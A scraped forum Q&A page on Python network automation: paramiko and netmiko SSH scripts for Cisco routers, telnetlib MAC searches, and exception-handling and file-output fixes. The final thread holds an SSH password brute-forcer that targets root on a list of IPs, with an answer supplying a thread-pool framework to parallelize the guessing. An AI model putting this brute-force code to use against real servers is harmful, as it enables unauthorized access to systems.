I am trying to SSH into a bunch of routers and grep some info from each. Some of the router IPs might not be valid as they are got from the loop. For the ones that do not exist, i am getting a socket.timeout error (obviously) and the script exits execution at that point. I want python to ignore this error and continue with the rest of the iterations. I have included the except/pass/continue commands, but they somehow do not seem to be doing their job and i am still getting the socket.timeout error and exiting the script :
import paramiko
import socket
import subprocess
import time
site = ['sao2','mia2','par2','scs2','sin4','sjl1','syd3','tok2','tor1','wdc1','akl1','chc1','chi2','cop2','dal1','fra2']
csr_hostname = 'csr_1'
csr_pass = str('*******')
username = str('test_user')
csrcmd = 'sh ver \n'
f = open ("version_output.txt", 'r+')
#*********************************************************************
for DC in site :
y = str(DC)
mcp = socket.gethostbyname(y)
mcpip = mcp.split('.')
mcpip2 = int(mcpip[0])
mcpip3 = int(mcpip[1])
mcpip4 = int(mcpip[2])
print (DC + ":")
f.write('\n')
f.write(DC)
f.write('\n=====\n')
for i in range(5,33):
x=37+(2*i)
mcpcsr = (str(mcpip2) + ('.') + str(mcpip3)+ ('.') + str(mcpip4)+ ('.') + str(x))
fqdn1=(str(i)+'-01.'+str(DC))
print i
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(mcpcsr, username=username, password=csr_pass, look_for_keys = False, allow_agent = False, timeout=10)
router_channel = ssh.invoke_shell()
router_channel.settimeout(2)
try :
buff = ''
router_channel.send(csrcmd)
time.sleep(1)
buff = router_channel.recv(99999)
for item in buff.split("\n"):
if "Cisco IOS XE Software, Version" in item :
csrver = (fqdn1 + " : " + item.strip())
if "Cisco IOS Software" in item :
csrver1 = (item.strip())
print csrver
print csrver1
f.write(csrver)
f.write('\n')
f.write(csrver1)
f.write('\n')
fqdn1 = ''
ssh.close()
#*********************************************************************
except socket.timeout:
print ("bla bla")
pass
continue
except socket.error :
print ("bla bla")
pass
continue
except paramiko.SSHException, socket.error :
print ("bla bla")
pass
continue
except Exception :
print ("bla bla")
pass
continue
#*********************************************************************
Output :
Traceback (most recent call last):
File "csrnum.py", line 36, in ?
ssh.connect(mcpcsr, username=username, password=csr_pass, look_for_keys = False, allow_agent = False, timeout=10)
File "/usr/lib/python2.4/site-packages/paramiko/client.py", line 291, in connect
sock.connect(addr)
File "<string>", line 1, in connect
socket.timeout: timed out
Any insight into this will be much appreciated and grateful for!
Figured it out! The exceptions were set one indent more than the one where the ssh connections were attempted. Made a small change to the code to accomodate this and the exceptions are working as expected!
Related
I have a program that i'm trying to create for the purpose of searching the network for specific mac addresses.
When I run the cisco command "show mac-address-table" it gives output that's saved to MH2. If that output has "000c." in it all the output is saved into a txt file that i'm hoping i'll be able to filter through and pull the vlan from based on the command used (show mac address-table vs show mac-address-table) as the vlan location for the line with the mac address could be to the left or the right. I'm planning on figuring that part out later, but for now it doesn't seem that my script is reading the file(which is getting the correct output and has a "000c." entry in it) I'll enter the code below:
#!/usr/bin/env python3
from time import sleep
import telnetlib
from getpass import getpass
# f is the .txt document that lists the IP's we'll be using.
f = open("devicess.txt")
#
username = input("please provide your username:")
password = getpass()
#
for line in f:
device = (line)
print('Starting to collect information, please wait')
#For those devices in the above list, connect and run the below commands
def loopstart():
for device in f:
tn = telnetlib.Telnet()
tn.open(device, 23, 20)
#Remove # in the line below for debug
#tn.set_debuglevel(2000)
tn.read_until(b"Username:", timeout = 20)
sleep(.25)
tn.write(str(username + "\n").encode("ascii"))
sleep(.25)
tn.read_until(b"Password: ", timeout = 10)
sleep(.25)
tn.write((password + "\n").encode("ascii"))
sleep(.25)
#####################################
#Verify Login attempt below #
#####################################
try:
enablemode = tn.read_until(b"#")
if (b"FAIL") in enablemode:
print("Bad credentials to " + device)
tn.close()
sleep(.5)
elif (b"fail") in enablemode:
print("Bad credentials to " + device)
tn.close()
sleep(.5)
elif (b"#") in enablemode:
print("connection established to " + device)
try:
tn.write(str("show mac address-table | include 000c.\n").encode('ascii'))
sleep(2)
MH2 = tn.read_very_eager()
if (b"000c.15") in MH2:
try:
sleep(.5)
mactable = open("mactable.txt", "rb+")
mactable.seek(0)
mactable.write(MH2)
mactable.truncate()
OP1 = mactable.read
for line in OP1():
CPMAC = (line)
try:
if (b"000c.15") in CPMAC:
print("line 70 in use")
print((CPMAC) + " this is what vlan the cyber power device should be on")
tn.write(str("show interface vlan" + (CPMAC[:6]) + "\n")).encode("ascii")
tn.read_until(b"Internet Address")
tn.close()
elif (str("All")) in (CPMAC):
print ("CPU has matching MAC, moving to next device")
tn.close()
else:
print("No Cyber power device found on " + device)
tn.close()
except EOFError as e:
print("could not pull vlan from output")
except EOFError as e:
print("unidentified issue")
#Execute the following commands in case of invalid command input
elif (b"Invalid") in MH2:
sleep(.5)
try:
tn.write(str("show mac-address-table | in 000c.\n").encode('ascii'))
sleep(2)
MH3 = tn.read_very_eager()
if (b"000c.15") in MH3:
print("Line 90 in use")
try:
sleep(.5)
mactable = open("mactable.txt", "r+")
mactable.seek(0)
mactable.write(str(MH3))
OP2 = (mactable.read())
print (type(OP2))
mactable.truncate()
for line in OP2():
CPMAC = (line)
try:
if ("000c.15") in (CPMAC):
print((CPMAC) + " this is what vlan the cyber power device should be on")
tn.write(str("show interface vlan" + (CPMAC[:6])+ "\n").encode("ascii"))
tn.read_until(b"Internet Address")
tn.close()
elif (str("All")) in (CPMAC):
print ("CPU has matching MAC, moving to next device")
tn.close()
else:
print("No Cyber power device found on " + device)
tn.close()
except EOFError as e:
print("could not pull vlan from output")
except EOFError as e:
print("unidentified issue")
elif (b"000c.15") not in MH3:
print ("Cyber power device not found, moving to next device.")
tn.close()
else:
print("Unknown Error")
tn.close()
##############################
# Logout commands #
##############################
except EOFError as e:
print("Connection closed to " + device)
else:
tn.write(str("exit\n").encode('ascii'))
tn.write(str("exit\n").encode('ascii'))
tn.close()
print(tn.read_all().decode('ascii'))
except EOFError as e:
print ("unknown error")
else:
tn.close()
except EOFError as e:
print("Connection closed to " + device)
except Exception as exception:
print(exception, False)
tn.close()
loopstart()
print('script complete')
"if ("000c.15") in (CPMAC)" is the part of the code that I believe i'm having trouble with. any help is appreciated!
Not really sure what you are trying to achieve but check the line OP1 = mactable.read read is a function that should be written as OP1 = mactable.read()
So the below is what has worked for me so far, I'm able to run the command "show mac address-table", take that output and put it into a text file, search line by line through the output for 000c.15 and use that line for further output later down the road. I think the important thing was to decode the output(bytes) into a string before writing it to the text file. Also, using the seek(0) function was helpful for taking me back to the beginning of the txt file before starting to read. Line.strip seems to get rid of all the white space being interpreted as lines. not 100% sure on that last one. Still having issues with getting that code to send the command but i'm making progress at least. Thanks everyone for your help.
if (b"000c.15") in MH2:
print("000c.15 in MH2, line 57")
try:
print ("line 59")
sleep(.5)
mactable = open("mactable.txt", "w+")
mactable.seek(0)
mactable.write(MH2.decode('utf-8'))
mactable.truncate()
mactable.seek(0)
OP1 = mactable.readlines()
for line in OP1:
line = line.strip()
CPMAC = line
I would like to save to file all my output from ssh connection(s). The ssh connection works fine, the output is ok too to a stdout. I want to create a file for every connection individually in a file. I have changed the output lines to the lines below and also moved it above
output_filename = ip_address + ".txt"
file = open(output_filename, 'w')
file.write(output.decode)
file.close()
What is missing?
I receive this error:
line 100, in fractal
except 10060:
TypeError: catching classes that do not inherit from BaseException is not allowed
And it just don't save the output. the file is created, but in blank.
import socket
import paramiko
import time
import sys
def fractal(ip, username, passwd, enapass, command, command2, command3, command4, devtype):
ip_address = ip
user = username
password = passwd
enapw = enapass
commando = command
commando2 = command2
commando3 = command3
commando4 = command4
devtype = devtype
print("Connecting to: "+ip + " on Port 22")
try:
if ip:
global ssh_client
ssh_client = paramiko.client.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh_client.connect(hostname=ip_address, username=user, password=password, compress=True, look_for_keys=False, allow_agent=False, timeout=5)
print("########################## CONNECTED TO: "+ip_address +" ##########################")
remote_connection = ssh_client.invoke_shell()
if devtype == 'CISCO':
results = remote_connection.send("term len 0\n")
print(results)
time.sleep(2)
results = remote_connection.send("show run\n")
print(results)
time.sleep(6)
if devtype == 'F5':
remote_connection.send("term len 0\n")
time.sleep(2)
remote_connection.send("sh ver\n")
time.sleep(6)
if devtype == 'LINUX':
remote_connection.send("pwd\n")
time.sleep(2)
else:
#print("Please set IP Address first!!!")
pass
if enapass:
remote_connection.send("enable\n")
# remote_connection.send("conf t\n")
remote_connection.send(enapw)
remote_connection.send("\n")
else:
pass
if command:
#remote_connection.send("show run\n")
remote_connection.send(commando)
remote_connection.send("\n")
else:
print("Command not found!")
if command2:
remote_connection.send(commando2)
remote_connection.send("\n")
else:
pass
if command3:
remote_connection.send(commando3)
remote_connection.send("\n")
else:
pass
if command4:
remote_connection.send(commando4)
remote_connection.send("\n")
else:
pass
time.sleep(1)
output = remote_connection.recv(65535)
print(output.decode())
print("########################## END OF: " + ip_address + " ##########################")
reader = ssh_client.connect
ssh_client.close
output_filename = ip_address + ".txt"
file = open(output_filename, 'w')
file.write(output)
file.close()
except TypeError:
print('Please check your settings!')
except UnboundLocalError:
print('Please check IP Address!')
except paramiko.AuthenticationException:
print(ip+": Authentication failed, please verify your credentials.")
except paramiko.SSHException as sshException:
print(ip+": Unable to establish SSH connection: %s" % sshException)
except paramiko.BadHostKeyException as badHostKeyException:
print(ip+": Unable to verify server's host key: %s" % badHostKeyException)
except socket.error:
print(ip+": Couldn't connect to server. Check IP Address and Port")
# sys.exit()
except 10060:
print(ip+": The host was not reachable")
except socket.gaierror:
print(ip+': Check IP Address')
except 11004:
print(ip+": The host was not reachable")
except IOError as e:
print("I/O error({0}): {1}".format(e.errno, e.strerror))
except ValueError:
print("Could not convert data to an integer.")
except FileNotFoundError:
print("No File was selected!")
except:
print("Unexpected error:", sys.exc_info()[0])
raise
# countErr = paramiko.AuthenticationException
# countErr = 0
# for countErr in countErr:
# count = count + 1
# print ("Athentication failures: "+countErr)
This happens only in Python3, because except now expects a class that is a subclass of BaseException. And the integer 10060 is not.
>>> try:
... raise ValueError
... except 10080:
... print('dfsdf')
...
Traceback (most recent call last):
File "<stdin>", line 2, in <module>
ValueError
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "<stdin>", line 3, in <module>
TypeError: catching classes that do not inherit from BaseException is not allowed
So Paramiko is raising some other error, but error handling dies when it tries to evaluate the except 10060 statement.
I am working as a network engineer and I have tried to automate routine tasks with some python scripts. We are using cisco so I thought it would be nice to implement netmiko library.
Here is the part of the script which is used to connect to device and edit access-lists:
def Connection (DevParameters, device, HostAddress):
try:
net_connect = ConnectHandler(**DevParameters)
except:
print device[0] + ': Authentication failed or device unavailable'
return
access_class = net_connect.send_command("sh run | inc access-class")
if access_class == '':
print device[0] + ': No access-class configured.'
net_connect.disconnect()
return
access_class = access_class.splitlines()[0].split(' ')[-2]
acl_type = net_connect.send_command("sh ip access-list " + access_class).splitlines()[0].split(' ')[0].lower()
net_connect.send_command('configure terminal')
net_connect.send_command('ip access-list ' + acl_type + access_class)
if acl_type == 'extended':
net_connect.send_command('permit tcp host' + HostAddress + ' any eq 22')
elif acl_type == 'standard':
net_connect.send_command('permit ' + HostAddress )
else:
print device[0] + ': Unexpected ACL type. Connection closed.'
net_connect.disconnect()
return
print device[0] + ': Configured.'
net_connect.disconnect
return
It works nicely from IDLE writing command line by line but when executing script it fails with:
Traceback (most recent call last):
File "C:\Users\User\Desktop\MAT.py", line 145, in <module>
Connection (DevParameters, device, HostAddress)
File "C:\Users\User\Desktop\MAT.py", line 90, in Connection
net_connect.send_command('configure terminal')
File "C:\Program Files\Python27\lib\site-packages\netmiko\base_connection.py", line 827, in send_command
search_pattern))
IOError: Search pattern never detected in send_command_expect: HQ\_F3\_2960\_D\-5\#
I tried to implement sleep() after send_command() to no avail. What could be the issue?
I've got a similar problem, but I solved it with set length 0.
I share my code, I hope to help you.
extrm_X460 = {
'device_type': 'extreme',
'ip': ip,
'username': 'username',
'password': 'password',
'port' : 22,
}
try:
# Connect
print "Trying to connect to: " + ip
net_connect = ConnectHandler(**extrm_X460)
# Get info
print "Connected to: " + ip
net_connect.send_command('set length 0')
output = net_connect.send_command('show mac port ge.*.*')
print output
except (IOError, EOFError, SSHException, NetMikoTimeoutException, NetMikoAuthenticationException) as e:
print e
continue
Use send_command_timing instead of send_command.
send_command is detecting a device prompt (pattern-based) (it will work with "show" commands).
send_command_timing is delay-based and doesn't look for the device prompt (will work in configuration mode [conf t])
Example: net_connect.send_command_timing
I Have this Code... i want to see this directory on my ftp server. In that dir i have 3 files but my code reads only 2. And it throws an error which i handle. Take a look on the code and the output
import datetime
import ftplib
import os
errors = 0
default_ftp_name = 'username'
default_ftp_pass = 'pass'
host = 'ftp.example.com'
print('Connecting To ' + host)
try:
ftp = ftplib.FTP(host)
print('Successfully connected! ')
except:
print('[!]Failed To Connect')
errors += 1
print('Logging with: ' + default_ftp_name)
try:
ftp.login(default_ftp_name,default_ftp_pass)
print('Login Success')
except:
print('[!]Couldnt log in')
errors += 1
print('Changing Directory to /Public/ConnectedUsers/')
try:
ftp.cwd('/Public/ConnectedUsers/')
except:
print('[!]Directory failed to change')
errors += 1
try:
print('Retrieving Files...')
files = ftp.dir()
print(files)
except:
print('[!]Didnt Get The Files')
errors += 1
print('[t] Total Errors: ' + str(errors))
connection = False
if connection is True:
#Dosomehting
var = 10
else:
print('Connection Error')
See the output right here.
it shows 2 items but i have 3.
What do i need to change in order to access all files?
Take a look here
http://i.stack.imgur.com/TQDyv.png
ftp.dir prints the output to stdout, so files is currently None. You want to replace that call with ftp.nlst (or ftp.retrlines with a callback handler). See the docs.
I've coded a simple SSH Bruteforcer , and I am trying to make it multi-threaded as it is running very slowly at the moment. As you can see in the last few lines I have given it an attempt, but don't understand threading fully. I have read a few examples but I don't quite understand it fully, so I felt adding into my program will make me understand it better.
Code:
try:
import paramiko
except ImportError:
print("Paramiko module not installed, exiting.")
from multiprocessing.dummy import Pool, Process, JoinableQueue as Queue
import os
from datetime import datetime
startTime = datetime.now()
UserName2 = 'root'
pass_file = 'pass.txt'
ip_file = 'ip.txt'
port = 22
Found = 0
IPLines = 0
PasswordLines = 0
with open('pass.txt') as txt1:
for line in txt1:
if line.strip():
PasswordLines += 1
with open('ip.txt') as txt2:
for line2 in txt2:
if line2.strip():
IPLines += 1
current_attempts = 0
max_attempts = PasswordLines * IPLines
def print_results(found):
while True:
ip, password = found.get()
print("Found: %r %r" % (ip, password))
found.task_done()
def init(found_):
global found
found = found_
def generate_passwords():
#return (line.strip() for line in open(pass_file))
global ip
global pwd
global txt4
txt3 = open(pass_file, "r")
txt4 = open(ip_file, "r")
for line3 in txt3.readlines():
pwd = line3.strip()
for line4 in txt4.readlines():
ip = line4.strip()
def check(ip_password):
global current_attempts
ip, password = ip_password
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(ip, port, username=UserName2, password=pwd)
except paramiko.AuthenticationException, e:
print e
print '[-] %s:%s fail!' % (UserName2, pwd)
current_attempts += 1
except Exception, e:
print e
else:
print '[!] %s:%s is CORRECT for IP %s!' % (UserName2, pwd, ip)
username, password, ipaddress = UserName2, pwd, ip
found.put((username,password,ipaddress))
seconds_taken = datetime.now() - startTime
print 'brute forcing took %s seconds' % seconds_taken
ssh.close()
print 'Found login in %s attempts' % current_attempts
if os.path.isfile("correct.txt"):
c = open("correct.txt", "a")
c.write('\n' + ip + ':' + UserName2 + ':' + pwd)
elif os.path.isfile("correct.txt"):
c = open('correct.txt', "w")
c.write(ip + ':' + UserName2 + ':' + pwd)
def main():
found = Queue()
t = Process(target=check, args=[found])
t.daemon = True # do not survive the parent
t.start()
pool = Pool(processes=20, initializer=init, initargs=[found])
args = ((ip, password) for password in generate_passwords() for ip in txt4)
for _ in pool.imap_unordered(check, args):
pass
pool.close() # no more tasks
pool.join() # wait for all tasks in the pool to complete
found.join() # wait until all results are printed
if __name__ == "__main__":
main()
Errors:
Exception in thread Thread-1:
Traceback (most recent call last):
File "C:\Python27\lib\threading.py", line 810, in __bootstrap_inner
self.run()
File "C:\Python27\lib\threading.py", line 763, in run
self.__target(*self.__args, **self.__kwargs)
File "C:\Python33\Stuff I made\SSH_Bruter4.py", line 65, in check
ip, password = ip_password
TypeError: iteration over non-sequence
Traceback (most recent call last):
File "C:\Python33\Stuff I made\SSH_Bruter4.py", line 107, in <module>
main()
File "C:\Python33\Stuff I made\SSH_Bruter4.py", line 99, in main
args = ((ip, password) for password in generate_passwords() for ip in txt4)
TypeError: 'NoneType' object is not iterable
The problem is embarrassingly parallel. You can run concurrently the ssh connection attempts both for different ips and passwords:
#!/usr/bin/env python
# remove .dummy to use processes instead of threads
from multiprocessing.dummy import Pool
def check(params):
ip, username, password = params
# emulate ssh login attempt #XXX put your ssh connect code here
import random
successful = random.random() < .0001
return successful, params
def main():
creds = {}
ips = ["168.1.2.%d" % i for i in range(256)] #XXX dummy ip list, use yours
usernames = ["nobody", "root"] #XXX dummy user list, use yours
def generate_args():
for ip in ips:
for username in usernames:
for password in generate_passwords():
if (ip, username) in creds:
break
yield ip, username, password
pool = Pool(processes=20)
for success, params in pool.imap_unordered(check, generate_args()):
if not success:
continue
print("Found: %r" % (params,))
ip, username, password = params
creds[ip, username] = password
pool.close() # no more tasks
pool.join() # wait for all tasks in the pool to complete
if __name__=="__main__":
main()
where ips is a list if all ips you want to try and generate_passwords() is a generator that yields one password at a time, here's an example:
def generate_passwords(pass_file):
return (line.strip() for line in open(pass_file))
About errors
ValueError: too many values to unpack
your code has found.put((username,password,ipaddress)) (a tuple with 3 values) but print_results() function expects ip, password = found.get() (2 values). The error "too many values to unpack" is because 3 is larger than 2.
'NoneType' object is not iterable
attempt() function returns nothing (None) but you put it in the place for generate_passwords() that must generate passwords (see the example implementation above).